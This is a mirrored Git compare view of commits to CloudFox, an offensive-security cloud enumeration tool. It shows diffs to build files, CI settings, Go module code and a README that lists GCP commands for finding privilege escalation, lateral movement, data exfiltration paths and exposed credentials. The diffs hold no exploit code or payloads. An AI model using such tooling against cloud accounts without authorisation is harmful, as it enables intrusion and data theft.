mirror of
https://github.com/BishopFox/cloudfox.git
synced 2026-11-08 01:28:16 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
142757b5c2 | ||
|
|
146034d619 | ||
|
|
9e056b29d7 | ||
|
|
871491738b | ||
|
|
033c953d57 | ||
|
|
a7e45b9ae5 | ||
|
|
ce513ba04d | ||
|
|
83f9af249d | ||
|
|
11652a9a6e | ||
|
|
6ac7a0bf6b | ||
|
|
c6fcdba665 | ||
|
|
4f2c2cb4c9 | ||
|
|
db8a6895c3 | ||
|
|
11763f04f6 | ||
|
|
0ba9e2d37f | ||
|
|
a3d1c09558 | ||
|
|
a3b7ab4269 | ||
|
|
60c6b8d61c | ||
|
|
8db014b136 | ||
|
|
72cd367086 | ||
|
|
f2d4b7c535 | ||
|
|
47d69d870f | ||
|
|
c9d1c2de68 | ||
|
|
a8e802404f | ||
|
|
d021ea54de | ||
|
|
7a18090609 | ||
|
|
cb8be678e7 | ||
|
|
6f45cbe900 | ||
|
|
8a248e3127 | ||
|
|
de141300e9 | ||
|
|
eb76d76dea | ||
|
|
72a551b38b | ||
|
|
59bac4ee36 | ||
|
|
44bf8e8915 | ||
|
|
70107c607f | ||
|
|
d24f817bf9 | ||
|
|
711e29e3bb | ||
|
|
04bb167273 | ||
|
|
ed732d0c01 | ||
|
|
f82547b438 | ||
|
|
35fca31475 | ||
|
|
888649616f | ||
|
|
2b272a1335 | ||
|
|
c94996e470 | ||
|
|
2f80731e5b | ||
|
|
d473e31c06 | ||
|
|
baf62fdbb2 | ||
|
|
f3f98f24e3 | ||
|
|
eedf397c93 | ||
|
|
31e2fe5fcb | ||
|
|
06a9dabf48 | ||
|
|
ce545ca9ff | ||
|
|
8954fc2a72 | ||
|
|
7bb7d947ef | ||
|
|
3c1213b0ff | ||
|
|
fbc862aef1 | ||
|
|
8dddcc83d2 | ||
|
|
36b45a64c5 | ||
|
|
333ca05a11 | ||
|
|
4a2444c05f | ||
|
|
c9edf8450b | ||
|
|
ec9a50ead1 | ||
|
|
eae16c32b4 | ||
|
|
0df2aa9240 | ||
|
|
abf1543b3e | ||
|
|
69c9070009 | ||
|
|
8f6208d983 | ||
|
|
83d9611732 | ||
|
|
b994b42708 | ||
|
|
52c12855a1 | ||
|
|
70037750c5 | ||
|
|
1bb8576a27 | ||
|
|
16b3c66624 | ||
|
|
3dbb98ffc6 | ||
|
|
b3a03ec7bd | ||
|
|
521cf7e4f4 | ||
|
|
5115f849f5 | ||
|
|
9e42b53d22 | ||
|
|
b28ed6a3fd | ||
|
|
0e7b006cde | ||
|
|
2cc97f508b | ||
|
|
031d666c63 | ||
|
|
d0de59dbe4 | ||
|
|
00b49aa33c | ||
|
|
12ee6c292a | ||
|
|
4584774ec1 | ||
|
|
d558e1cf55 | ||
|
|
19b825cfa6 | ||
|
|
698458cf92 | ||
|
|
dfed0491f2 | ||
|
|
7671e7e717 | ||
|
|
0c858e6cd4 | ||
|
|
0deb568e41 | ||
|
|
2806f7ea08 | ||
|
|
e54ffe8ce7 | ||
|
|
56e64d8e62 | ||
|
|
43fe99e832 | ||
|
|
5d2f2616af | ||
|
|
d8e4157e93 | ||
|
|
a104639354 | ||
|
|
296710c474 | ||
|
|
278e2658ee | ||
|
|
6b45f54699 | ||
|
|
2391bb7802 | ||
|
|
68d68fc75d | ||
|
|
7d6d16a4f1 | ||
|
|
caaf399e9d | ||
|
|
1f4f128a7a | ||
|
|
16c0f4dfe9 | ||
|
|
7e6439924a | ||
|
|
d3c042c1e3 | ||
|
|
cda06fff7a | ||
|
|
e49402991a | ||
|
|
cae31fbf21 | ||
|
|
4e75b1151b | ||
|
|
831198c42d | ||
|
|
2cb5ad2b83 | ||
|
|
efe95c02ee | ||
|
|
13bd04d3e4 | ||
|
|
b8d9d8093c | ||
|
|
b139513244 | ||
|
|
f058e1c57d | ||
|
|
a94bdc1853 | ||
|
|
89b3492399 | ||
|
|
67b84f0c74 | ||
|
|
8eec1c331b | ||
|
|
5e0eb15f7d | ||
|
|
ec497faba4 | ||
|
|
ed8e0a229c | ||
|
|
b60f479c2d | ||
|
|
ab4866fcbf | ||
|
|
00fe4fdce3 | ||
|
|
f7d1cbcdb6 | ||
|
|
b3c25bb5d0 | ||
|
|
9076beb111 | ||
|
|
878d7ec0c4 | ||
|
|
ebf9985d40 | ||
|
|
8e1e8d0c0a | ||
|
|
a88e98aedd | ||
|
|
85b9b11798 | ||
|
|
6b0970ebd7 | ||
|
|
e0dc71b414 | ||
|
|
b31f36746b | ||
|
|
0a95240b7f | ||
|
|
785b69316a |
No files matched your search
+1
-1
@@ -1 +1 @@
|
||||
* @bishopfaure @dbravo-bishopfox
|
||||
* @bishopfaure @jbarciabf @msperling-bf
|
||||
@@ -13,4 +13,4 @@ jobs:
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- run: pip install --user codespell
|
||||
- run: codespell --ignore-words-list="aks" --skip="*.sum"
|
||||
- run: codespell --ignore-words-list="aks,referers,invokable" --skip="*.sum"
|
||||
+4
-1
@@ -62,8 +62,11 @@ terraform.rc
|
||||
.DS_Store
|
||||
|
||||
untracked/*
|
||||
*tmp*
|
||||
tmp/*
|
||||
output/*
|
||||
*cloudfox-output*
|
||||
cloudfox-*
|
||||
cloudfox
|
||||
*.log
|
||||
*.bak
|
||||
@@ -75,4 +78,4 @@ dist/
|
||||
|
||||
# graphvis files
|
||||
*.gv
|
||||
*.svg
|
||||
*.svg
|
||||
@@ -13,6 +13,12 @@ linux:
|
||||
zip cloudfox-linux.zip cloudfox sha1sum-linux.txt
|
||||
rm cloudfox sha1sum-linux.txt
|
||||
|
||||
linux-arm64:
|
||||
GOOS=linux GOARCH=arm64 go build
|
||||
sha1sum cloudfox > sha1sum-linux-arm64.txt
|
||||
zip cloudfox-linux-arm64.zip cloudfox sha1sum-linux-arm64.txt
|
||||
rm cloudfox sha1sum-linux-arm64.txt
|
||||
|
||||
macos:
|
||||
GOOS=darwin GOARCH=amd64 go build
|
||||
sha1sum cloudfox > sha1sum-mac.txt
|
||||
@@ -26,24 +32,34 @@ release: clean
|
||||
mkdir -p ./cloudfox
|
||||
|
||||
GOOS=windows GOARCH=amd64 go build -o ./cloudfox/cloudfox.exe .
|
||||
zip ./cloudfox/cloudfox-windows-amd64.zip ./cloudfox/cloudfox.exe
|
||||
rm -rf ./cloudfox/cloudfox.exe
|
||||
|
||||
sha1sum ./cloudfox/cloudfox.exe > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-windows-amd64.zip ./cloudfox/cloudfox.exe ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox.exe ./cloudfox/sha1sum.txt
|
||||
|
||||
GOOS=linux GOARCH=amd64 go build -o ./cloudfox/cloudfox .
|
||||
zip ./cloudfox/cloudfox-linux-amd64.zip ./cloudfox/cloudfox .
|
||||
rm -rf ./cloudfox/cloudfox
|
||||
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-linux-amd64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
|
||||
GOOS=linux GOARCH=386 go build -o ./cloudfox/cloudfox .
|
||||
zip ./cloudfox/cloudfox-linux-386.zip ./cloudfox/cloudfox .
|
||||
rm -rf ./cloudfox/cloudfox
|
||||
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-linux-386.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
|
||||
GOOS=linux GOARCH=arm64 go build -o ./cloudfox/cloudfox .
|
||||
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-linux-arm64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
|
||||
GOOS=darwin GOARCH=amd64 go build -o ./cloudfox/cloudfox .
|
||||
zip ./cloudfox/cloudfox-macos-amd64.zip ./cloudfox/cloudfox
|
||||
rm -rf ./cloudfox/cloudfox
|
||||
|
||||
GOOS=darwin GOARCH=arm64 go build -o ./cloudfox/cloudfox .
|
||||
zip ./cloudfox/cloudfox-macos-arm64.zip ./cloudfox/cloudfox
|
||||
rm -rf ./cloudfox/cloudfox
|
||||
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-macos-amd64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
|
||||
clean:
|
||||
GOOS=darwin GOARCH=arm64 go build -o ./cloudfox/cloudfox .
|
||||
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-macos-arm64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
|
||||
clean:
|
||||
rm -rf ./cloudfox
|
||||
@@ -1,6 +1,10 @@
|
||||
# :fox_face: CloudFox :fox_face:
|
||||
CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
> **CLOUDFOX UPDATE REQUIRED: (12/2025):** If you are using `cloudfox`, you need to use v1.17.0 or greater. All earlier versions [stopped working after a format change in AWS's public service mapping file](https://github.com/BishopFox/cloudfox/pull/109).
|
||||
|
||||
**Overview**
|
||||
|
||||
#### CloudFox helps you answer the following common questions (and many more):
|
||||
|
||||
* What regions is this AWS account using and roughly how many resources are in the account?
|
||||
@@ -48,9 +52,9 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
|
||||
|
||||
| Provider| CloudFox Commands |
|
||||
| - | - |
|
||||
| AWS | 34 |
|
||||
| Azure | 4 |
|
||||
| GCP | 8 |
|
||||
| AWS | 34 |
|
||||
| Azure | 4 |
|
||||
| GCP | 60 |
|
||||
| Kubernetes | Support Planned |
|
||||
|
||||
|
||||
@@ -102,7 +106,53 @@ Additional policy notes (as of 09/2022):
|
||||
| `arn:aws:iam::aws:policy/AdministratorAccess` | This will work just fine with CloudFox, but if you were handed this level of access as a penetration tester, that should probably be a finding in itself :) |
|
||||
|
||||
### Azure
|
||||
* Viewer or similar permissions applied.
|
||||
* Viewer or similar permissions applied.
|
||||
|
||||
### GCP
|
||||
* Google Cloud SDK installed and authenticated
|
||||
* Application Default Credentials configured (`gcloud auth application-default login`)
|
||||
* Recommended permissions at appropriate hierarchy levels (see below)
|
||||
|
||||
#### GCP Permissions: Minimal vs Comprehensive
|
||||
|
||||
**Minimal Permissions (Single Project):**
|
||||
|
||||
For basic enumeration of a single project, the `roles/viewer` role provides read access to most resources (includes logging, monitoring, and compute/network viewing).
|
||||
|
||||
**Comprehensive Permissions (Organization-Wide):**
|
||||
|
||||
For thorough security assessments across an entire organization:
|
||||
|
||||
| Scope | Role | Purpose |
|
||||
| - | - | - |
|
||||
| **Organization** | `roles/resourcemanager.organizationViewer` | View organization structure and metadata |
|
||||
| **Organization** | `roles/iam.securityReviewer` | Review IAM policies across the organization |
|
||||
| **Organization** | `roles/cloudasset.viewer` | Query Cloud Asset Inventory for all resources |
|
||||
| **Organization** | `roles/cloudidentity.groupsViewer` | Enumerate Google Groups and memberships |
|
||||
| **Folder** | `roles/resourcemanager.folderViewer` | View folder hierarchy and metadata |
|
||||
| **Project** | `roles/viewer` | Read access to most project resources (includes logging.viewer, monitoring.viewer, compute.viewer) |
|
||||
| **Tooling Project** | `roles/serviceusage.serviceUsageAdmin` | (Optional) Manage API quotas for CloudFox operations |
|
||||
|
||||
> **Note:** The basic `roles/viewer` role includes permissions from `roles/logging.viewer`, `roles/monitoring.viewer`, and `roles/compute.networkViewer`, so these don't need to be granted separately.
|
||||
|
||||
#### GCP API Requirements
|
||||
|
||||
**APIs must be enabled in each project you want to assess.** GCP APIs are project-scoped.
|
||||
|
||||
| API | Service Name | Purpose |
|
||||
| - | - | - |
|
||||
| Cloud Identity API | `cloudidentity.googleapis.com` | Group enumeration, inherited role analysis |
|
||||
| Cloud Asset API | `cloudasset.googleapis.com` | Cross-project resource discovery |
|
||||
| Cloud Resource Manager API | `cloudresourcemanager.googleapis.com` | Organization mapping, IAM enumeration |
|
||||
| IAM API | `iam.googleapis.com` | IAM analysis, privilege escalation detection |
|
||||
| Compute Engine API | `compute.googleapis.com` | Instance enumeration, network security |
|
||||
| Secret Manager API | `secretmanager.googleapis.com` | Secrets enumeration |
|
||||
| Cloud Functions API | `cloudfunctions.googleapis.com` | Serverless enumeration |
|
||||
| Cloud Run API | `run.googleapis.com` | Serverless enumeration |
|
||||
| Kubernetes Engine API | `container.googleapis.com` | Container security analysis |
|
||||
| BigQuery API | `bigquery.googleapis.com` | Data security analysis |
|
||||
|
||||
For detailed setup instructions, see the [GCP Setup Guide](https://github.com/BishopFox/cloudfox/wiki/GCP-Setup-Guide).
|
||||
|
||||
# AWS Commands
|
||||
| Provider | Command Name | Description
|
||||
@@ -133,7 +183,7 @@ Additional policy notes (as of 09/2022):
|
||||
| AWS | [pmapper](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#pmapper) | Looks for pmapper data stored on the local filesystem, [in the locations defined here](https://github.com/nccgroup/PMapper/wiki/Frequently-Asked-Questions#where-does-pmapper-store-its-data). If pmapper data has been found (you already ran `pmapper graph create`), then this command will use this data to build a graph in cloudfox memory let you know who can privesc to admin.
|
||||
| AWS | [principals](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#principals) | Enumerates IAM users and Roles so you have the data at your fingertips. |
|
||||
| AWS | [ram](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#ram) | List all resources in this account that are shared with other accounts, or resources from other accounts that are shared with this account. Useful for cross-account attack paths. |
|
||||
| AWS | [resource-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#resource-trusts) | Looks through multiple services that support resource policies and helps you find any overly permissive resource trusts.|
|
||||
| AWS | [resource-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#resource-trusts) | Looks through multiple services that support resource policies and helps you find any overly permissive resource trusts. KMS is supported but disabled by default. To include KMS resource policies in the output, add this flag to the command: `cloudfox aws resource-trusts --include-kms`.|
|
||||
| AWS | [role-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#role-trusts) | Enumerates IAM role trust policies so you can look for overly permissive role trusts or find roles that trust a specific service. |
|
||||
| AWS | [route53](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#route53) | Enumerate all records from all route53 managed zones. Use this for application and service enumeration. |
|
||||
| AWS | [secrets](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#secrets) | List secrets from SecretsManager and SSM. Look for interesting secrets in the list and then see who has access to them using use `cloudfox iam-simulator` and/or `pmapper`. |
|
||||
@@ -155,22 +205,82 @@ Additional policy notes (as of 09/2022):
|
||||
|
||||
|
||||
# GCP Commands
|
||||
| Provider | Command Name | Description
|
||||
|
||||
For detailed documentation on each GCP command, see the [GCP Commands Wiki](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands).
|
||||
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| GCP | [whoami](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#whoami) | Display the email address of the GCP authenticated user |
|
||||
| GCP | [all-checks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#all-checks) | Runs all available GCP commands |
|
||||
| GCP | [artifact-registry](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#artifact-registry) | Display GCP artifact registry information |
|
||||
| GCP | [bigquery](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery) | Display Bigquery datasets and tables information |
|
||||
| GCP | [buckets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#buckets) | Display GCP buckets information |
|
||||
| GCP | [iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iam) | Display GCP IAM information |
|
||||
| GCP | [instances](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#instances) | Display GCP Compute Engine instances information |
|
||||
| GCP | [secrets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#secrets) | Display GCP secrets information |
|
||||
| GCP | [whoami](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#whoami) | Display identity context for the authenticated GCP user/service account |
|
||||
| GCP | [iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iam) | Enumerate GCP IAM principals across organizations, folders, and projects |
|
||||
| GCP | [permissions](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#permissions) | Enumerate ALL permissions for each IAM entity with full inheritance explosion |
|
||||
| GCP | [serviceaccounts](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#serviceaccounts) | Enumerate GCP service accounts with security analysis |
|
||||
| GCP | [service-agents](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#service-agents) | Enumerate Google-managed service agents |
|
||||
| GCP | [keys](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#keys) | Enumerate all GCP keys (SA keys, HMAC keys, API keys) |
|
||||
| GCP | [resource-iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#resource-iam) | Enumerate IAM policies on GCP resources (buckets, datasets, secrets, etc.) |
|
||||
| GCP | [domain-wide-delegation](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#domain-wide-delegation) | Find service accounts with Domain-Wide Delegation to Google Workspace |
|
||||
| GCP | [privesc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#privesc) | Identify privilege escalation paths in GCP projects |
|
||||
| GCP | [hidden-admins](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#hidden-admins) | Identify principals who can modify IAM policies (hidden admins) |
|
||||
| GCP | [identity-federation](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#identity-federation) | Enumerate Workload Identity Federation (external identities) |
|
||||
| GCP | [instances](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#instances) | Enumerate GCP Compute Engine instances with security configuration |
|
||||
| GCP | [gke](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#gke) | Enumerate GKE clusters with security analysis |
|
||||
| GCP | [cloudrun](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudrun) | Enumerate Cloud Run services and jobs with security analysis |
|
||||
| GCP | [functions](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#functions) | Enumerate GCP Cloud Functions with security analysis |
|
||||
| GCP | [app-engine](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#app-engine) | Enumerate App Engine applications and security configurations |
|
||||
| GCP | [composer](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#composer) | Enumerate Cloud Composer environments |
|
||||
| GCP | [dataproc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dataproc) | Enumerate Dataproc clusters |
|
||||
| GCP | [dataflow](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dataflow) | Enumerate Dataflow jobs and pipelines |
|
||||
| GCP | [notebooks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#notebooks) | Enumerate Vertex AI Workbench notebooks |
|
||||
| GCP | [workload-identity](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#workload-identity) | Enumerate GKE Workload Identity and Workload Identity Federation |
|
||||
| GCP | [inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#inventory) | Quick resource inventory - works without Cloud Asset API |
|
||||
| GCP | [storage](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#storage) | Enumerate GCP Cloud Storage buckets with security configuration |
|
||||
| GCP | [storage-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#storage-enum) | Enumerate GCS buckets for sensitive files (credentials, secrets, configs) |
|
||||
| GCP | [bigquery](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery) | Enumerate GCP BigQuery datasets and tables with security analysis |
|
||||
| GCP | [cloudsql](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudsql) | Enumerate Cloud SQL instances with security analysis |
|
||||
| GCP | [spanner](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner) | Enumerate Cloud Spanner instances and databases |
|
||||
| GCP | [bigtable](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigtable) | Enumerate Cloud Bigtable instances and tables |
|
||||
| GCP | [filestore](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#filestore) | Enumerate Filestore NFS instances |
|
||||
| GCP | [memorystore](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#memorystore) | Enumerate Memorystore (Redis) instances |
|
||||
| GCP | [vpc-networks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#vpc-networks) | Enumerate VPC Networks |
|
||||
| GCP | [firewall](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#firewall) | Enumerate VPC networks and firewall rules with security analysis |
|
||||
| GCP | [loadbalancers](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#loadbalancers) | Enumerate Load Balancers |
|
||||
| GCP | [dns](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dns) | Enumerate Cloud DNS zones and records with security analysis |
|
||||
| GCP | [endpoints](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#endpoints) | Enumerate all network endpoints (external and internal) with IPs, ports, and hostnames |
|
||||
| GCP | [private-service-connect](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#private-service-connect) | Enumerate Private Service Connect endpoints and service attachments |
|
||||
| GCP | [network-topology](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#network-topology) | Visualize VPC network topology, peering relationships, and trust boundaries |
|
||||
| GCP | [vpc-sc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#vpc-sc) | Enumerate VPC Service Controls |
|
||||
| GCP | [access-levels](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#access-levels) | Enumerate Access Context Manager access levels |
|
||||
| GCP | [cloud-armor](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloud-armor) | Enumerate Cloud Armor security policies and find weaknesses |
|
||||
| GCP | [iap](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iap) | Enumerate Identity-Aware Proxy configurations |
|
||||
| GCP | [beyondcorp](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#beyondcorp) | Enumerate BeyondCorp Enterprise configurations |
|
||||
| GCP | [kms](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#kms) | Enumerate Cloud KMS key rings and crypto keys with security analysis |
|
||||
| GCP | [secrets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#secrets) | Enumerate GCP Secret Manager secrets with security configuration |
|
||||
| GCP | [cert-manager](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cert-manager) | Enumerate SSL/TLS certificates and find expiring or misconfigured certs |
|
||||
| GCP | [org-policies](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#org-policies) | Enumerate organization policies and identify security weaknesses |
|
||||
| GCP | [artifact-registry](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#artifact-registry) | Enumerate GCP Artifact Registry and Container Registry with security configuration |
|
||||
| GCP | [cloudbuild](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudbuild) | Enumerate Cloud Build triggers and builds |
|
||||
| GCP | [source-repos](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#source-repos) | Enumerate Cloud Source Repositories |
|
||||
| GCP | [scheduler](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#scheduler) | Enumerate Cloud Scheduler jobs with security analysis |
|
||||
| GCP | [pubsub](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#pubsub) | Enumerate Pub/Sub topics and subscriptions with security analysis |
|
||||
| GCP | [logging](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#logging) | Enumerate Cloud Logging sinks and metrics with security analysis |
|
||||
| GCP | [organizations](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#organizations) | Enumerate GCP organization hierarchy |
|
||||
| GCP | [asset-inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#asset-inventory) | Enumerate Cloud Asset Inventory with optional dependency analysis |
|
||||
| GCP | [backup-inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#backup-inventory) | Enumerate backup policies, protected resources, and identify backup gaps |
|
||||
| GCP | [lateral-movement](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#lateral-movement) | Map lateral movement paths, credential theft vectors, and pivot opportunities |
|
||||
| GCP | [data-exfiltration](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#data-exfiltration) | Identify data exfiltration paths, potential vectors, and missing security hardening |
|
||||
| GCP | [public-access](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#public-access) | Find resources with allUsers/allAuthenticatedUsers access across 16 GCP services |
|
||||
| GCP | [cross-project](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cross-project) | Analyze cross-project IAM bindings, logging sinks, and Pub/Sub exports for lateral movement |
|
||||
| GCP | [foxmapper](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#foxmapper) | Run FoxMapper (graph-based IAM analysis) for privilege escalation path discovery |
|
||||
| GCP | [logging-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#logging-enum) | Scan Cloud Logging entries for sensitive data (credentials, tokens, PII) |
|
||||
| GCP | [bigquery-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery-enum) | Scan BigQuery datasets, tables, and columns for sensitive data indicators |
|
||||
| GCP | [bigtable-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigtable-enum) | Scan Bigtable instances, tables, and column families for sensitive data indicators |
|
||||
| GCP | [spanner-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner-enum) | Scan Spanner database schemas for sensitive table and column names |
|
||||
|
||||
|
||||
|
||||
# Authors
|
||||
* [Carlos Vendramini](https://github.com/carlosvendramini-bf)
|
||||
* [Seth Art (@sethsec](https://twitter.com/sethsec))
|
||||
* Joseph Barcia
|
||||
|
||||
# Contributing
|
||||
[Wiki - How to Contribute](https://github.com/BishopFox/cloudfox/wiki#how-to-contribute)
|
||||
|
||||
+8
-3
@@ -30,6 +30,7 @@ type ApiGwModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Gateways []ApiGateway
|
||||
@@ -178,10 +179,14 @@ func (m *ApiGwModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
|
||||
// <-semaphore
|
||||
// }()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("apigateway", r)
|
||||
res, err := servicemap.IsServiceInRegion("api-gateway", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
|
||||
@@ -10,11 +10,17 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/spf13/afero"
|
||||
)
|
||||
|
||||
func TestApiGw(t *testing.T) {
|
||||
|
||||
// Create a service map that downloads from AWS
|
||||
serviceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
|
||||
m := ApiGwModule{
|
||||
AWSProfile: "unittesting",
|
||||
AWSRegions: []string{"us-east-1"},
|
||||
@@ -26,6 +32,7 @@ func TestApiGw(t *testing.T) {
|
||||
WrapTable: false,
|
||||
APIGatewayClient: &sdk.MockedAWSAPIGatewayClient{},
|
||||
APIGatewayv2Client: &sdk.MockedAWSAPIGatewayv2Client{},
|
||||
ServiceMap: serviceMap,
|
||||
}
|
||||
|
||||
fs := internal.MockFileSystem(true)
|
||||
|
||||
+1
-1
@@ -301,7 +301,7 @@ func preloadData(filePaths []string) (*AllAccountData, error) {
|
||||
|
||||
for _, filePath := range filePaths {
|
||||
fileRecords, err := loadFileRecords(filePath)
|
||||
if err != nil {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
appData.Files[filePath] = fileRecords
|
||||
|
||||
+73
-5
@@ -1,7 +1,9 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -200,7 +202,12 @@ func (m *CapeCommand) findPathsToThisDestination(allGlobalNodes map[string]map[s
|
||||
s, sourceVertexWithProperties, _ := m.GlobalGraph.VertexWithProperties(source)
|
||||
//for the source vertex, we only want to deal with the ones that are NOT in this account
|
||||
if sourceVertexWithProperties.Attributes["AccountID"] != aws.ToString(m.Caller.Account) {
|
||||
// skip if the source Name contains AWSSSO-
|
||||
if strings.Contains(sourceVertexWithProperties.Attributes["Name"], "AWSSSO-") {
|
||||
